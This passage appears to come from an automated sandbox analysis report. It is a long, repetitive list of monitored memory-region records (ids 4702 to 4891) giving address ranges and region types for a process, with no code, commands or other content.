"pagefile_0x0000000000440000" filename = "" Region: id = 4702 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4703 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4704 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4705 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4706 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4707 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4708 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4709 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4710 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4711 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4712 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4713 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4714 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4715 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4716 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4717 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4718 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4719 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4720 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4721 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4722 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4723 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4724 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4725 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4726 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4727 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4728 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4729 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4730 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4731 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4732 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4733 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4734 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4735 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4736 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4737 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4738 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4739 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4740 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4741 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4742 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4743 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4744 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4745 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4746 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4747 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4748 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4749 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4750 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4751 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4752 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4753 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4754 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4755 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4756 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4757 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4758 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4759 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4760 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4761 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4762 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4763 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4764 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4765 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4766 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4767 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4768 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4769 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4770 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4771 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4772 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4773 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4774 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4775 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4776 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4777 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4778 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4779 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4780 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4781 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4782 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4783 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4784 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4785 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4786 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4787 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4788 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4789 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4790 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4791 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4792 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4793 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4794 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4795 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4796 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4797 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4798 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4799 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4800 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4801 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4802 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4803 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4804 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4805 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4806 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4807 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4808 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4809 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4810 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4811 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4812 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4813 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4814 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4815 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4816 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4817 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4818 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4819 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4820 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4821 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4822 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4823 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4824 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4825 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4826 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4827 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4828 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4829 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4830 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4831 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4832 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4833 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4834 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4835 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4836 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4837 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4838 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4839 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4840 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4841 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4842 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4843 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4844 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4845 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4846 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4847 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4848 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4849 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4850 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4851 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4852 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4853 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4854 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4855 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4856 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4857 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4858 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4859 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4860 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4861 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4862 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4863 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4864 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4865 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4866 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4867 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4868 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4869 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4870 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4871 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4872 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4873 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4874 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4875 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4876 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4877 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4878 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4879 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4880 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4881 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4882 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4883 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4884 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4885 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4886 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4887 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4888 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4889 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4890 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4891 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" 